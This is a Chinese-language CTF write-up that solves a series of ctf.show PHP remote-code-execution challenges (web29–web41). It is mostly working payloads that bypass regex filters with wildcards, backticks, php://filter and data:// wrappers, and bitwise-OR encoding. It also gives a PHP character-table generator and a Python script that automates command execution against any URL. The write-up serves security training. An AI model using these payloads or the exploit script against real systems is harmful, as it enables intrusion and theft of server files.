参考文章:命令执行绕过小技巧、命令执行漏洞进阶
web29
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
输入c变量,把c中的flag过滤掉,然后返回c变量
严格来说这个应该是代码执行
先试试phpinfo能不能正常执行==注意最后面的分号==下面来看一下目录里面有啥东西
在index.php同目录下还有个flag.php
思路:用shell命令,将flag.php 转换成txt,再访问txt文件
但是flag是被过滤掉的,这里使用通配符? /?c=system('cp fla?.php 123.txt');
之后访问/123.txt目录,即可看到flag其他思路:
payload1:c=system("nl fla?????"); payload2:c=system("nl fla*"); payload3:c=echo `nl fl''ag.php`;或者c=echo `nl fl“”ag.php`; payload4:c=echo `nl fl\ag.php`;//转义字符绕过 payload5:c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php payload6:c=eval($_GET[1]);&1=system('nl flag.php'); payload7:c=awk '{printf $0}' flag.php||
web30
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
这个在上题的基础上多过滤了system和php
那还可以用的函数有很多,这些函数都是一个效果的:
system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec() 反引号 同shell_exec()
好的 编写payload ?c=`cp fla?.??? 123.txt`
后发送,然后打开/123.txt==注意分号,我上面没写,导致没成功,重新写的……==
web31
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
这个比上面多限制了cat、sort、空格、单引号
现在试试嵌套?c=eval($_GET[1]);$1=phpinfo();
成功执行,说明变量1逃逸出来了1这个变量就不受限制了,可以随便使用被禁的了tac是倒序输出,正序输出的话还要再去查看源代码
web32
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
这个呢,把分号、反引号、括号也都禁了。空格可以用%0a绕过的(用上面的方法也是可以解决的)
这里用include这个函数,==分号也被过滤了,可以用?>
包含==这是可以显示的
1参数应该用文件包含伪协议,读取flag.php的内容,得到的是用base64加密的结果
把得到的这一串,解密得到flag
web33
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
还是用include包含 payload:
?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
把得到的base64解码之后就可以看到flag了
web34
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
这个比上面,多过滤了冒号:
还是继续可以用上面的payload的
从头分析下这个命令执行
把分号、括号都过滤了,就只有使用语言结构了
语言结构有:echo、print、isset、unset、include、require等
echo已经被过滤了,isset和unset在这里是使用不了的
就剩下print、include、require了,如果使用print的话,只是回显的字符串
eval的话,得用到括号
所以就只剩下include了 payload:
?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web35
与上题同解
web36
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
这个题把数字也禁了,没关系,还可以用字母
payload:
?c=include%0a$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web37
<?php //flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
从这个题开始,echo就变成了include包含
所以如果还用上面的payload肯定是行不通的(会把$_GET[1]当成字符串,并不会解析)
所以这个题需要用的是==伪协议==
?c=data://text/plain,<?php phpinfo();?>
这个是可以执行的。data协议就是会把后面的一段字符串当成php代码区执行,所以读取flag.php的文件就可以看到flag了
先构造的是?c=data://text/plain,<?php system("tac flag.php");?>
没有回显,哦对过滤了flag,那就得先复制一份改个名字了
?c=data://text/plain,<?php system("mv fla?.php 1.txt");?>
然后访问1.txt
web38
<?php //flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|php|file/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
这个题相对上一题来说是多禁了php、file
那么payload的.php后缀可以用*代替,但是前面的php标签得用=代替了
<?php 这是完整标签 <? 这是短标签 //php.ini中 short_open_tag = On //除<?php ?>,可使用更灵活的调用方法 <? /*程序操作*/ ?> <?=/*函数*/?>
?c=data://text/plain,<?=system("mv fla?.* 1.txt");?>
然后访问1.txt即可得到flag
web39
<?php //flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c.".php"); } }else{ highlight_file(__FILE__); }
这个题是没有echo回显了
用上面的思想还是可以继续解决的
?c=data://text/plain,<?=system("tac fla?.ph?");?>
web40
<?php if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
这个题过滤了很多符号,没有过滤字母、英文的括号、分号
下面按照一种怪异的思路来进行
首先我们打印一下这个页面的变量
?c=print_r(get_defined_vars());
可以看到有个post数组,那么post请求一个数据看看效果可以看到这个post是可以传进去的,现在只要让传进去的字符串执行就可以了。要执行这个先要把这个字符串拿出来,这里使用next拿到数组还不够,还要拿到这个数组的值
array_pop() 弹出并返回 array 最后一个元素的值,并将 array 的长度减一
?c=print_r(array_pop(next(get_defined_vars())));
到这里,打印出来的值就是我们想要的东西了,把打印改成执行eval即可读取flag.php
?c=eval(array_pop(next(get_defined_vars())));
post:
1=system("tac flag.php");
web41
参考:https://blog.csdn.net/miuzzx/article/details/108569080
<?php if(isset($_POST['c'])){ $c = $_POST['c']; if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){ eval("echo($c);"); } }else{ highlight_file(__FILE__); } ?>
这个题过滤了数字和字母,还有一些符号,剩下能用的不多,参考羽师傅的wp,是利用或预算符|
思路: 从所有字符(ASCII[0-255])中排除掉被过滤的,然后再判断或运算得到的字符是否为可见字符。
我们先用脚本生成可用字符的集合
生成可用字符串的集合脚本:
<?php $myfile = fopen("rce_or.txt", "w"); $contents=""; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); } $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; } else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)|urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } } } } fwrite($myfile,$contents); fclose($myfile);
访问该php 运行之后会在根目录生成一个rce_or.txt的文件
然后用羽师傅的脚本(把rce_or.txt放在同目录下) python exp.py
# -*- coding: utf-8 -*- import requests import urllib from sys import * import os os.system("php rce_or.php") #没有将php写入环境变量需手动运行 if(len(argv)!=2): print("="*50) print('USER:python exp.py <url>') print("eg: python exp.py http://ctf.show/") print("="*50) exit(0) url=argv[1] def action(arg): s1="" s2="" for i in arg: f=open("rce_or.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: #print(i) s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"|\""+s2+"\")" return(output) while True: param=action(input("\n[+] your function:") )+action(input("[+] your command:")) data={ 'c':urllib.parse.unquote(param) } r=requests.post(url,data=data) print("\n[*] result:\n"+r.text)